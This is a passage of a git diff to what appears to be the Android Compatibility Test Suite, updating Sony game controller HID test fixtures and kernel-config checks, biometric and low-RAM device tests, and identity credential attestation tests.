+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0xbf, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x40, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x80, 0xbf, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x40, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x80, 0x80, 0xbf, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x40, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0xbf, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x80, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0xff, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x80],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0xff],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
index 3d4f9e8..d7aa81e 100644
--- a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
@@ -5,7 +5,7 @@
   "vid": 0x054c,
   "pid": 0x0ce6,
   "bus": "bluetooth",
-  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15, 0x00, 0x25,
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
index e40d5a6..f551931 100644
--- a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
@@ -5,7 +5,7 @@
   "vid": 0x054c,
   "pid": 0x0ce6,
   "bus": "usb",
-  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
     0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0x06,
diff --git a/tests/tests/hardware/src/android/hardware/biometrics/OWNERS b/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
index 2b1c07f..26a2432 100644
--- a/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
@@ -1,6 +1,9 @@
 # Bug component: 879035
+
 curtislb@google.com
+graciecheng@google.com
 ilyamaty@google.com
 jaggies@google.com
+jbolinger@google.com
 joshmccloskey@google.com
 kchyn@google.com
diff --git a/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java b/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java
index d623704..48f2885 100644
--- a/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java
@@ -21,6 +21,7 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.KeyguardManager;
@@ -91,8 +92,14 @@
                 DEVICE_CREDENTIAL).getButtonLabel();
         final boolean isLabelPresentForSubAuthType =
                 !TextUtils.isEmpty(biometricLabel) || !TextUtils.isEmpty(credentialLabel);
+        boolean isBiometricOrCredentialLabel;
+        if (hasOnlyConvenienceSensors()) {
+            isBiometricOrCredentialLabel = TextUtils.isEmpty(credentialLabel);
+        } else {
+            isBiometricOrCredentialLabel = TextUtils.isEmpty(biometricOrCredentialLabel);
+        }
         assertFalse("Label should not be empty if one for an authenticator sub-type is non-empty",
-                TextUtils.isEmpty(biometricOrCredentialLabel) && isLabelPresentForSubAuthType);
+                isBiometricOrCredentialLabel && isLabelPresentForSubAuthType);
     }
 
     @Test
@@ -128,6 +135,8 @@
         final boolean hasIris = pm.hasSystemFeature(PackageManager.FEATURE_IRIS);
         final boolean hasFace = pm.hasSystemFeature(PackageManager.FEATURE_FACE);
         assumeTrue("Test requires biometric hardware", hasFingerprint || hasIris || hasFace);
+        assumeFalse("Test requires biometric hardware above weak level",
+                hasOnlyConvenienceSensors());
 
         // Ensure biometric setting name is non-empty if device supports biometrics.
         assertFalse("Name should be non-empty if device supports biometric authentication",
@@ -137,6 +146,11 @@
                         .getSettingName()));
     }
 
+    private boolean hasOnlyConvenienceSensors() {
+        return mBiometricManager.canAuthenticate(BIOMETRIC_WEAK)
+                == BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE;
+    }
+
     @Test
     public void test_getSettingName_forCredential() {
         final KeyguardManager km = mContext.getSystemService(KeyguardManager.class);
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index a9ddfc7..cded9f5 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -28,6 +28,7 @@
 import static android.util.DisplayMetrics.DENSITY_TV;
 import static android.util.DisplayMetrics.DENSITY_XHIGH;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
@@ -172,6 +173,15 @@
         }
     }
 
+    @Test
+    @CddTest(requirement = "7.6.1/H-1-1")
+    public void test32BitOnlyIfLessThan2GiB() {
+        if (getTotalMemory() < 2048 * ONE_MEGABYTE) {
+            assertEquals("Devices with less than 2GiB MUST support only 32-bit ABIs",
+                         0, Build.SUPPORTED_64_BIT_ABIS.length);
+        }
+    }
+
     /**
      * @return the total memory accessible by the kernel as defined by
      * {@code ActivityManager.MemoryInfo}.
diff --git a/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS b/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
index 2b1c07f..26a2432 100644
--- a/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
@@ -1,6 +1,9 @@
 # Bug component: 879035
+
 curtislb@google.com
+graciecheng@google.com
 ilyamaty@google.com
 jaggies@google.com
+jbolinger@google.com
 joshmccloskey@google.com
 kchyn@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/OWNERS b/tests/tests/hardware/src/android/hardware/input/OWNERS
index b0a2050..c88bfe9 100644
--- a/tests/tests/hardware/src/android/hardware/input/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/input/OWNERS
@@ -1,4 +1 @@
-# Bug component:136048
-lzye@google.com
-michaelwr@google.com
-svv@google.com
+include platform/frameworks/base:/INPUT_OWNERS
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index 07a080a..0b5afc3 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -39,10 +39,7 @@
 import android.os.VibrationEffect;
 import android.os.Vibrator;
 import android.os.Vibrator.OnVibratorStateChangedListener;
-import android.os.VintfRuntimeInfo;
-import android.text.TextUtils;
 import android.util.Log;
-import android.util.Pair;
 import android.view.InputDevice;
 
 import androidx.annotation.CallSuper;
@@ -63,8 +60,6 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 public class InputHidTestCase extends InputTestCase {
     private static final String TAG = "InputHidTestCase";
@@ -106,43 +101,15 @@
         mDelayAfterSetup = true;
     }
 
+    protected int getAdditionalSources() {
+        return 0;
+    }
+
     /** Check if input device has specific capability */
     interface Capability {
         boolean check(InputDevice inputDevice);
     }
 
-    private static Pair<Integer, Integer> getVersionFromString(String version) {
-        // Only gets major and minor number of the version string.
-        final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
-        final Matcher m = versionPattern.matcher(version);
-        if (m.matches()) {
-            final int major = Integer.parseInt(m.group(1));
-            final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
-
-            return new Pair<>(major, minor);
-
-        } else {
-            fail("Cannot parse kernel version: " + version);
-            return new Pair<>(0, 0);
-        }
-    }
-
-    private static int compareMajorMinorVersion(final String s1, final String s2) throws Exception {
-        final Pair<Integer, Integer> v1 = getVersionFromString(s1);
-        final Pair<Integer, Integer> v2 = getVersionFromString(s2);
-
-        if (v1.first == v2.first) {
-            return Integer.compare(v1.second, v2.second);
-        } else {
-            return Integer.compare(v1.first, v2.first);
-        }
-    }
-
-    protected static boolean isKernelVersionGreaterThan(String version) throws Exception {
-        final String actualVersion = VintfRuntimeInfo.getKernelVersion();
-        return compareMajorMinorVersion(actualVersion, version) > 0;
-    }
-
     /** Gets an input device with specific capability */
     private InputDevice getInputDevice(Capability capability) {
         final InputManager inputManager =
@@ -202,8 +169,8 @@
     protected void setUpDevice(int id, int vendorId, int productId, int sources,
             String registerCommand) {
         mDeviceId = id;
-        mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId, sources,
-                registerCommand);
+        mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId,
+                sources | getAdditionalSources(), registerCommand);
         assertNotNull(mHidDevice);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index cff9813..841f161 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -92,6 +92,7 @@
     @Before
     public void setUp() throws Exception {
         mActivityRule.getActivity().clearUnhandleKeyCode();
+        mActivityRule.getActivity().setInputCallback(mInputListener);
         mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
         mParser = new InputJsonParser(mInstrumentation.getTargetContext());
         mVid = mParser.readVendorId(mRegisterResourceId);
@@ -239,7 +240,6 @@
     }
 
     protected void verifyEvents(List<InputEvent> events) {
-        mActivityRule.getActivity().setInputCallback(mInputListener);
         // Make sure we received the expected input events
         if (events.size() == 0) {
             // If no event is expected we need to wait for event until timeout and fail on
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
index e42e2ae..bed7f6a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
@@ -16,17 +16,21 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.hardware.cts.R;
+import android.view.InputDevice;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
+import androidx.test.filters.MediumTest;
+
+import com.android.cts.kernelinfo.KernelInfo;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-@SmallTest
+@MediumTest
 @RunWith(AndroidJUnit4.class)
 public class SonyDualSenseBluetoothTest extends InputHidTestCase {
 
@@ -36,24 +40,47 @@
     }
 
     @Override
-    public void setUp() throws Exception {
-        // Do not run this test for kernel versions 4.19 and below
-        assumeTrue(isKernelVersionGreaterThan("4.19"));
-        super.setUp();
+    protected int getAdditionalSources() {
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            return InputDevice.SOURCE_MOUSE | InputDevice.SOURCE_SENSOR;
+        }
+        return 0;
+    }
+
+    /**
+     * Basic support is required on all kernels. After kernel 4.19, devices must have
+     * CONFIG_HID_PLAYSTATION enabled, which supports advanced features like haptics.
+     */
+    @Test
+    public void kernelModule() {
+        if (KernelInfo.isKernelVersionGreaterThan("4.19")) {
+            assertTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
+        }
+        assertTrue(KernelInfo.hasConfig("CONFIG_HID_GENERIC"));
     }
 
     @Test
     public void testAllKeys() {
-        testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+        } else {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests_hid_generic);
+        }
     }
 
     @Test
     public void testAllMotions() {
-        testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+        } else {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests_hid_generic);
+        }
     }
 
     @Test
     public void testVibrator() throws Exception {
+        // hid-generic does not support vibration for this device
+        assumeTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
         testInputVibratorEvents(R.raw.sony_dualsense_bluetooth_vibratortests);
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
index 2c31b8f..65d3f78 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
@@ -19,10 +19,13 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.hardware.cts.R;
+import android.view.InputDevice;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -36,10 +39,11 @@
     }
 
     @Override
-    public void setUp() throws Exception {
-        // Do not run this test for kernel versions 4.19 and below
-        assumeTrue(isKernelVersionGreaterThan("4.19"));
-        super.setUp();
+    protected int getAdditionalSources() {
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            return InputDevice.SOURCE_MOUSE | InputDevice.SOURCE_SENSOR;
+        }
+        return 0;
     }
 
     @Test
@@ -54,6 +58,8 @@
 
     @Test
     public void testVibrator() throws Exception {
+        assumeTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
         testInputVibratorEvents(R.raw.sony_dualsense_usb_vibratortests);
+        // hid-generic does not support vibration for this device
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index 547a337..d8f339a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -23,6 +23,8 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -47,7 +49,7 @@
 
     @Test
     public void testVibrator() throws Exception {
-        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+        assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index 0a1f04a..84d8abc 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -23,6 +23,8 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -47,7 +49,7 @@
 
     @Test
     public void testVibrator() throws Exception {
-        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+        assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index 08ece8e..0f6f53b 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -16,6 +16,7 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.hardware.cts.R;
@@ -23,6 +24,8 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -36,6 +39,18 @@
     }
 
     @Test
+    public void kernelModule() {
+        /**
+         * Basic support is required on all kernels. After kernel 4.19, devices must have
+         * CONFIG_HID_SONY enabled, which supports advanced features like haptics.
+         */
+        if (KernelInfo.isKernelVersionGreaterThan("4.19")) {
+            assertTrue(KernelInfo.hasConfig("CONFIG_HID_SONY"));
+        }
+        assertTrue(KernelInfo.hasConfig("CONFIG_HID_GENERIC"));
+    }
+
+    @Test
     public void testAllKeys() {
         testInputEvents(R.raw.sony_dualshock4_usb_keyeventtests);
     }
@@ -52,7 +67,8 @@
 
     @Test
     public void testVibrator() throws Exception {
-        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+        // hid-generic and older HID_SONY drivers don't support vibration
+        assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
     }
 }
diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
index c5a5141..26c195c 100644
--- a/tests/tests/icu/Android.bp
+++ b/tests/tests/icu/Android.bp
@@ -30,7 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
     ],
     platform_apis: true,
 }
diff --git a/tests/tests/identity/Android.bp b/tests/tests/identity/Android.bp
index 01e9914..13a43de 100644
--- a/tests/tests/identity/Android.bp
+++ b/tests/tests/identity/Android.bp
@@ -32,6 +32,7 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "identity-credential-util",
         "junit",
         "cts-security-test-support-library",
         "cts-keystore-user-auth-helper-library",
diff --git a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
index c63b793..13195b1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
@@ -40,6 +40,10 @@
 public class AttestationTest {
     private static final String TAG = "AttestationTest";
 
+    // An implementation must support challenges at least this big in the attestations
+    // for CredentialKey.
+    private static final int ATTESTATION_MINIMUM_SUPPORTED_CHALLENGE_SIZE = 32;
+
     // The subset of Keymaster tags we care about. See
     //
     //   https://source.android.com/security/keystore/tags
@@ -51,15 +55,13 @@
 
     @Test
     public void attestationTest() throws Exception {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
 
-        // Use a random challenge of length between 16 and 32.
         SecureRandom random = new SecureRandom();
-        int challengeLength = 16 + random.nextInt(16);
-        byte[] challenge = new byte[challengeLength];
+        byte[] challenge = new byte[ATTESTATION_MINIMUM_SUPPORTED_CHALLENGE_SIZE];
         random.nextBytes(challenge);
 
         String credentialName = "test";
diff --git a/tests/tests/identity/src/android/security/identity/cts/CreateItemsRequestTest.java b/tests/tests/identity/src/android/security/identity/cts/CreateItemsRequestTest.java
index 9dbd20c..e48a467 100644
--- a/tests/tests/identity/src/android/security/identity/cts/CreateItemsRequestTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/CreateItemsRequestTest.java
@@ -18,6 +18,8 @@
 
 import static org.junit.Assert.assertEquals;
 
+import com.android.security.identity.internal.Util;
+
 import org.junit.Test;
 
 import java.util.Arrays;
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index f61273e..ec3504b 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -33,6 +33,7 @@
 import android.security.identity.NoAuthenticationKeyAvailableException;
 import android.security.identity.ResultData;
 import androidx.test.InstrumentationRegistry;
+import com.android.security.identity.internal.Util;
 
 import org.junit.Test;
 
@@ -62,7 +63,7 @@
 
     @Test
     public void dynamicAuthTest() throws Exception {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -286,7 +287,6 @@
         assertArrayEquals(new byte[]{42, 43, 44}, rd.getStaticAuthenticationData());
         assertArrayEquals(new int[]{1, 0, 0, 0, 0}, credential.getAuthenticationDataUsageCount());
 
-
         // Now do this one more time.... this time key4 should have been used. Check this by
         // inspecting use-counts and the static authentication data.
         credential = store.getCredentialByName(credentialName,
@@ -460,14 +460,14 @@
 
     @Test
     public void dynamicAuthWithExpirationTest() throws Exception {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
         assumeTrue(
             "IdentityCredential.storeStaticAuthenticationData(X509Certificate, Instant, byte[]) " +
             "not supported",
-            Util.getFeatureVersion() >= 202101);
+            TestUtil.getFeatureVersion() >= 202101);
 
         String credentialName = "test";
 
@@ -591,6 +591,166 @@
         store.deleteCredentialByName(credentialName);
     }
 
+    @Test
+    public void dynamicAuthMultipleGetEntries() throws Exception {
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+
+        String credentialName = "test";
+
+        store.deleteCredentialByName(credentialName);
+        Collection<X509Certificate> certChain = ProvisioningTest.createCredential(store,
+                credentialName);
+
+        IdentityCredential credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertNotNull(credential);
+        assertArrayEquals(new int[0], credential.getAuthenticationDataUsageCount());
+
+        credential.setAvailableAuthenticationKeys(5, 3);
+        assertArrayEquals(new int[]{0, 0, 0, 0, 0},
+                          credential.getAuthenticationDataUsageCount());
+
+        Collection<X509Certificate> certs = credential.getAuthKeysNeedingCertification();
